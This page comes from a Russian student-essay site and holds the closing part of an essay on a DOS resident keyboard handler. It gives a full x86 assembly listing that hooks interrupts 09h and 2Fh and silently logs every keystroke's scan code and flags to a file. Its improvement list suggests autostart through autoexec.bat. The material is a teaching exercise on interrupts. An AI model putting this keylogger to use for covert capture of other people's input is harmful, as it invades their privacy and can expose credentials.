Резидентный обработчик клавиатуры (перехват нажатий клавиш и запись в файл)
| Категория реферата: Рефераты по информатике, программированию
| Теги реферата: реферат на тему творчество, банк рефератов
| Добавил(а) на сайт: Козарис.
Предыдущая страница реферата | 1 2 3 4 5 6 7
Обработчик мультиплексорного прерывания
Процедура new_2fh перехватит прерывание 2Fh, и если прерывание вызвано
вместе с функцией F1h, то в зависимости от подфункции значение которой
находится в AL выполнит следующие действия:
1. Если подфункция находящаяся в AL=00h (код наличия в памяти нашего обработчика), то наш обработчик возвратит в AL=FFh и выйдет из прерывания. cmp al,00h je inst
…
inst: mov al,0ffh iret
2. Если подфункция находящаяся в AL=01h (команда на удаление из памяти обработчика), то сохраним используемые регистры, вызовем процедуру fil
(работа этой процедуры была описана выше), а затем освободим блоки памяти занятые нашим обработчиком, восстановим старые векторы 09h и 2Fh.
Восстановим использовавшиеся регистры и выйдем из прерывания.
Если мультиплексорное прерывание было вызвано с другой функцией либо с
нашей функцией но с другими подфункциями, то обработчик передаст управление
следующему по цепочке обработчику мультиплексорного прерывания. cmp ah,0f1h jne out_2fh cmp al,00h je inst cmp al,01h je off jmp short out_2fh
inst: mov al,0ffh iret
out_2fh:
3.3. Листинг программы
text segment 'code' assume cs:text,ds:text org 256 main proc jmp init
; Поля данных резидентной секции old_2fh dd 0 ; Ячейка для сохранения системного вектора 2Fh old_09h dd 0 ; Ячейка для сохранения системного вектора 09h bufer db 34 dup(?) ; Буфер для скэн-кодов и флагов клавиатуры sch db 0 ; Счётчик нажатий клавиш filename db 's_code&f.txt',0 ; Константа содержащая имя файла с
которым работает программа
; Обработчик от клавиатуры new_09h proc
; Сохраним используемые регистры push ax push bx push cx push dx push ds push cs ; Настроим DS на наш сегмент для простоты
программирования pop ds in al,60h ; Получим скэн-код клавиши cmp al,80h ; Проверим, является ли скэн-код кодом нажатия ja exit ; Нет – на выход mov bh,0 ; 0(BH mov bl,sch ; Текущее значения счётчика в BL mov [bufer+bx],al ; Запишем в буфер скэн-код клавиши inc bl ; Увеличим смещение буфера push es ; Сохраним регистр ES mov ax,40h ; Настроим ES на начало области данных BIOS mov es,ax mov al,es:[17h] ; Занесём байт флагов клавиатуры в AL pop es ; Восстановим ES mov [bufer+bx],al ; Запишем байт флагов в буфер inc bl ; Увеличим смещение на 1 add sch,2 ; Счётчик нажатий +2 cmp sch,32 ; Пора скидывать буфер в файл? je go ; Да – на процедуру записи в файл jmp exit ; Нет – на выход go: call fil ; Вызов процедуры записи в файл
; Восстановим использовавшиеся регистры exit: pop ds pop dx pop cx pop bx pop ax jmp cs:old_09h ; Передадим управление системному
обработчику “int09h” new_09h endp ; Конец процедуры обработчика от клавиатуры
; Процедура записи в файл скэн-кодов и флагов клавиатуры fil proc push cs ; Настроим DS на наш сегмент pop ds mov ah,3dh ; Функция открытия файла mov al,1 ; для записи mov dx,offset filename ; DS:DX ( ASCIIZ имени файла int 21h mov bx,ax ; Дескриптор в ВХ xor cx,cx ; Отчистим СХ xor dx,dx ; и DX mov ax,4202h ; Функция установки указателя в конец файла int 21h mov ah,40h ; Функция записи в файл mov cl,sch ; CL ( количество байт mov dx,offset bufer ; DS:DX ( адрес буфера int 21h mov ah,3eh ; Функция закрытия файла int 21h mov sch,0 ; Обнулим счётчик ret ; Выход из процедуры fil endp ; Конец процедуры записи в файл
; Обработчик мультиплексорного прерывания new_2fh proc cmp ah,0f1h ; Проверим номер функции мультиплексорного
прерывания jne out_2fh ; Не наша – на выход cmp al,00h ; Подфункция проверки на повторную установку? je inst ; Да, сообщим о невозможности повторной
установки cmp al,01h ; Подфункция выгрузки? je off ; Да – на выгрузку jmp short out_2fh ; Неизвестная подфункция, на выход inst: mov al,0ffh ; Программа уже установлена iret ; Выход из прерывания out_2fh: jmp cs:old_2fh ; Переход в следующий по цепочке
обработчик прерывания 2Fh
; Выгрузим программу из памяти, предварительно восстановив все
перехваченные ею векторы
; Сохраним используемые регистры off: push ds push es push dx push ax push bx push cx call fil ; Вызов процедуры записи в файл
содержимого буфера
; Восстановим использовавшиеся регистры pop cx pop bx pop ax
; Восстановим вектор 09h mov ax,2509h ; Функция установки вектора lds dx,cs:old_09h ; Заполним DS:DX int 21h
; Восстановим вектор 2fh mov ax,252fh ; Функция установки вектора lds dx,cs:old_2fh ; Заполним DS:DX int 21h
; Получим из PSP адрес собственного окружения и выгрузим его mov es,cs:2ch ; ES ( окружение mov ah,49h ; Функция освобождения блока памяти int 21h
; Выгрузим теперь саму программу push cs ; Загрузим в ES содержимое CS, т.е. сегментный
адрес PSP pop es mov ah,49h ; Функция освобождения блока памяти int 21h
; Восстановим использовавшиеся регистры pop dx pop es pop ds iret ; Возврат в вызвавшую программу new_2fh endp ; Конец процедуры обработки прерывания 2Fh end_res=$ ; Смещение конца резидентной части программы main endp tail db 'off' ; Ожидаемый хвост команды flag db 0 ; Флаг требования выгрузки tabl db '0123456789' ; Таблица для перевода BCD кода в ASCII time db 25 dup(?) ; Ячейка для сохранения текущей даты и времени
; Процедура создания файла div_f proc mov ah,3ch ; Функция создания файла mov cx,0 ; Без атрибутов lea dx,filename ; DS:DX ( ASCIIZ имени файла
int 21h mov bx,ax ; Дескриптор в ВХ mov ah,40h ; Функция записи в файл mov cx,buflen ; CХ ( количество байт lea dx,buf ; DS:DX ( адрес строки int 21h mov ah,3eh ; Функция закрытия файла int 21h ret ; Выход из процедуры div_f endp ; Конец процедуры создания файла
; Процедура открытия файла и записи в него текущей даты и времени div2_f proc mov [time],0ah ; Запись в переменную time маркеров
mov [time+1],0dh ; перехода на следующую строку mov ah,3dh ; Функция открытия файла mov al,1 ; для записи mov dx,offset filename ; DS:DX ( ASCIIZ имени файла int 21h mov bx,ax ; Дескриптор в ВХ push bx ; Сохраним дескриптор xor cx,cx ; Отчистим СХ xor dx,dx ; и DX mov ax,4202h ; Функция установки указателя в конец файла int 21h mov ah,02h ; Функция чтения времени из «постоянных» «CMOS»
часов реального времени int 1ah ; Прерывание ввода – вывода для времени mov bx,offset tabl ; DS:DX ( адрес таблицы mov si,2 ; Установим смещение для переменной time mov ax,cx ; Часы и минуты сохраним в AX mov cx,12 ; Установим счётчик сдвига next: push ax ; Сохраним AX shr ax,cl ; Сдвинем AX на CL and al,0fh ; Получим номер ячейки в таблице прибавив
маску xlat ; Получим ASCII код числа mov [time+si],al ; Занесём его в переменную time inc si ; Увеличим на 1 смещение cmp si,4 ; Смещение = 4 ? je ras ; Да, переход на метку ras vw: sub cl,4 ; Нет, уменьшим CL на 4 pop ax ; Восстановим AX cmp cl,-4 ; Сравним CL с -4 jne next ; Не равно – выполним ещё раз jmp ent1 ; Равно – переход на ent1 ras: mov [time+si],':' ; Запишем в переменную time – «:» inc si ; Увеличим на 1 смещение jmp vw ; Перейдём на метку vw ent1: mov [time+si],' ' ; Запишем в переменную time – « » inc si ; Увеличим на 1 смещение mov ah,04h ; Функция чтения даты из «постоянных» «CMOS»
часов реального времени int 1ah ; Прерывание ввода – вывода для времени mov ax,dx ; Дату сохраним в AX mov cx,12 ; Установим счётчик сдвига next1: push ax ; Сохраним AX shr ax,cl ; Сдвинем AX на CL and al,0fh ; Получим номер ячейки в таблице прибавив
маску xlat ; Получим ASCII код числа mov [time+si],al ; Занесём его в переменную time inc si ; Увеличим на 1 смещение cmp si,10 ; Смещение = 10 ? je ras1 ; Да, переход на метку ras1 vw1: sub cl,4 ; Нет, уменьшим CL на 4 pop ax ; Восстановим AX cmp cl,-4 ; Сравним CL с -4 jne next1 ; Не равно – выполним ещё раз jmp ent2 ; Равно – переход на ent2 ras1: mov [time+si],'.' ; Запишем в переменную time – «.» inc si ; Увеличим на 1 смещение jmp vw1 ; Перейдём на метку vw1 ent2: mov [time+si],0ah ; Запись в переменную time маркеров mov [time+si+1],0dh ; перехода на следующую строку pop bx ; Восстановим дескриптор mov ah,40h ; Функция записи в файл mov cx,20 ; CХ ( количество байт mov dx,offset time ; DS:DX ( адрес строки int 21h mov ah,3eh ; Функция закрытия файла int 21h ret ; Выход из процедуры
div2_f endp ; Конец процедуры подготовки файла
; Процедура инициализации init proc mov cl,es:80h ; Получим длину хвоста PSP cmp cl,0 ; Длина хвоста = 0 ? je live ; Да программа запущена без параметров xor ch,ch ; Теперь CX=CL=длина хвоста mov di,81h ; DS:SI ( хвост в PSP lea si,tail ; DS:SI ( поле tail mov al,' ' ; Уберём пробелы из начала хвоста repe scasb ; Сканируем хвост, пока пробелы dec di ; DI ( первый символ после пробелов mov cx,3 ; Ожидаемая длина параметра repe cmpsb ; Сравниваем введённый хвост с ожидаемым jne live ; Введена неизвестная команда inc flag ; Введено «off», установим флаг запроса
на выгрузку
; Проверим, не установлена ли уже данная программа live: mov ah,0f1h ; Установим нашу функцию mov al,0 ; и подфункцию на наличие нашей программы
в оперативной памяти int 2fh cmp al,0ffh ; Программа установлена? je installed ; Да, при наличии запроса на выгрузку её можно
выгрузить
; Сохраним вектор 2fh mov ax,352fh ; Функция получения вектора 2fh int 21h mov word ptr cs:old_2fh,bx ; Сохраним смещение системного
обработчика mov word ptr cs:old_2fh+2,es ; Сохраним сегмент системного
обработчика
; Заполним вектор 2fh mov ax,252fh ; Функция установления вектора прерывания 2fh mov dx,offset new_2fh ; Смещение нашего обработчика int 21h
; Сохраним вектор 09h mov ax,3509h ; Функция получения вектора 09h int 21h mov word ptr cs:old_09h,bx ; Сохраним смещение системного
обработчика mov word ptr cs:old_09h+2,es ; Сохраним сегмент системного
обработчика
; Заполним вектор 09h mov ax,2509h ; Функция установления вектора прерывания 09h mov dx,offset new_09h ; Смещение нашего обработчика int 21h mov ah,4eh ; Функция поиска файла lea dx,filename ; DS:DX ( ASCIIZ имени файла int 21h cmp ax,12h ; Файл не найден? je creat ; Да, создадим файл call div2_f ; Нет, вызов процедуры открытия файла и записи
в него текущей даты и времени jmp by ; Переход на метку by creat: call div_f ; Вызов процедуры создания файла
; Выведем на экран информационное сообщение by: mov ah,09h ; Функция вывода на экран lea dx,mes ; DS:DX ( адрес строки int 21h mov ax,3100h ; Функция «завершиться и остаться резидентным» mov dx,(end_res-main+10fh)/16 ; Размер в параграфах int 21h installed: cmp flag,1 ; Запрос на выгрузку установлен? je unins ; Да, на выгрузку
; Выведем на экран информационное сообщение mov ah,09h ; Функция вывода на экран lea dx,mes1 ; DS:DX ( адрес строки int 21h
; Выведем предупреждающий звуковой сигнал mov cx,5 ; Количество гудков mov ah,02h ; Функция вывода на экран l: mov dl,07h ; ASCII код зуммера int 21h loop l ; Повторим CX раз mov ax,4c01h ; Функция завершения с кодом возврата int 21h unins:
; Перешлём в первую (резидентную) копию программы запрос на выгрузку mov ax,0f101h ; Наша функция с подфункцией выгрузки int 2fh ; Мультиплексное прерывание
; Выведем на экран информационное сообщение mov ah,09h ; Функция вывода на экран lea dx,mes2 ; DS:DX ( адрес строки int 21h mov ax,4c00h ; Функция завершения программы int 21h buf db 'Skencode&Klav_flag file',0ah,0dh buflen equ $-buf mes db 'Program installed$' mes1 db 'Program already installed$' mes2 db 'Program is DIE$' init endp text ends end main
3.4. Рекомендации по улучшению
- Главным недостатком этой программы является неудобное визуальное восприятие записей в файле. Т.е. мы видим не ASCII-код который образовался в результате нажатия клавиши, а так называемый скэн-код
(номер клавиши) и состояние байта флагов клавиатуры, в котором он находился при этом нажатии. При необходимости можно написать процедуру в нашем обработчике либо в виде отдельной программы, которая анализировала бы байт флагов и в зависимости от этого подставляла ASCII-код соответствующий скэн-коду нажатой клавиши.
- Вторым недостатком нашей программы является не всегда удобный механизм выгрузки программы из оперативной памяти. Можно предусмотреть выгрузку нашей программы специальной не стандартной комбинацией клавиш.
- Третий существенный недостаток программы состоит в том, что наш обработчик не реагирует на сочетание клавиш Clrl+Alt+Del. Так как наш обработчик перехватывает прерывания от клавиатуры раньше чем системный обработчик “int09h”, то было бы целесообразно при этом сочетании сбрасывать содержимое буфера в файл, а затем передавать управление системному обработчику.
- Можно предусмотреть запись в файл autoexec.bat либо config.sys строки с путём к нашему файлу, при запуске программы с параметром вводимым с командной строки.
- Можно предусмотреть коррекцию размеров буфера, а также задавать имя рабочего файла с помощью всё тех же параметров вводимых с командной строки.
- В зависимости от того в каких целях применяется данный обработчик, можно запретить нажатие какой либо клавиши, комбинации клавиш или последовательности.
Данная программа является шаблоном для резидентных обработчиков
прерываний, в частности обработчиков прерываний от клавиатуры, и является
огромным полем для творчества.
4. Список используемой литературы
1. П.И.Рудаков, К.Г.Финогенов «Программируем на языке ассемблера IBM PC»,
Обнинск 1997г.
2. Зубков С.В. «Assembler для DOS, Windows и UNIX», Москва 2000г.
3. Богумирский Б.С. «Руководство пользователя ПЭВМ», Санкт–Петербург 1994г.
Скачали данный реферат: Харзин, Ягудин, Салтыков, Сабанцев, Samuil, Мишин, Macovkin.
Последние просмотренные рефераты на тему: дипломная работа на тему бесплатно, ответы 8 класс, шпаргалки скачать бесплатные шпаргалки, реферат мировой.
Категории:
Предыдущая страница реферата | 1 2 3 4 5 6 7